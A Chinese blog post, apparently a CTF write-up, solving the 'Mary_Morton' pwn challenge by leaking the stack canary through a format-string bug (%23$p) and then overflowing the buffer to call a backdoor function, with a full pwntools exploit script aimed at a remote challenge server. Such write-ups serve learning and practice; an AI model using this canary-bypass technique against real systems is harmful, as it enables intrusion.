menu 牢记自己是菜
RE.从零开始的pwn生活 第三日 Canary实战 Mary_Morton
1188 浏览 | 2020-07-30 | 阅读时间: 约 2 分钟 | 分类: PWn | 标签:
请注意,本文编写于 1364 天前,最后修改于 1363 天前,其中某些信息可能已经过时。

0x1 题目描述

这道题目很简洁明了,运行程序直接告诉你存在两个漏洞,一个是格式化字符串漏洞,另一个是一个栈溢出漏洞。查看保护,存在Canary保护,所以我们要想办法绕过这个保护。虽然每次启动程序Canary的值是不一样的,但是对于单次运行,我们只需要保证完成栈覆盖之后,Canary的值不变即可。

0x2 静态分析

仔细看看整个程序,存在一个后门函数,只要调用这个函数就可以获得flag(flag_addr=0x4008da)。这道题目的重点就在于怎么使用格式化字符串漏洞,计算出偏移,最终完成对栈底Canary的泄露。首先我们看一下格式化字符串漏洞所在的函数。

这里我终于搞清楚了rsp,rbp在栈内的关系。因为之前主攻逆向,对整个程序的漏洞懂得不是很多,栈内的结构也不是很了解,每次算偏移都是点进去,一个一个去数的,着实感觉不太行。
对于rbp而言,他是栈底。rbp-8h就是这个参数最接近栈底的空间距离栈底8h,而rsp是栈顶。
canary与我们输入参数的偏移为0x90 - 8 = 0x88,然后八个字节(64位程序)为一组,0x88 / 8 = 17。但是这个只是对输入参数的偏移,格式化字符串内部还是存在偏移得。

我们输入一串aaaa(61616161),然后泄露地址,发现在第六个的时候泄露到了我们输入参数的数值(buf的数值)。所以我们的偏移还要再加上6,最终就是17+6=23。由于我们的目的是,泄露Canary的值,所以我们使用%23$p完成这一个操作。

0x3 exp

#/usr/bin/python2
from pwn import *
p=remote('220.249.52.133','52689')
p.recvuntil("3. Exit the battle")
p.sendline('2')
p.sendline('%23$p')
p.recvuntil("0x")
H=p.recv()
print H
M=int(H,16)
print M
flag_addr=0x4008da
p.sendline('1')
#p.recvuntil("->")
payload='A'*0x88+p64(M)+'a'*0x8+p64(flag_addr)
p.sendline(payload)
p.interactive()

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!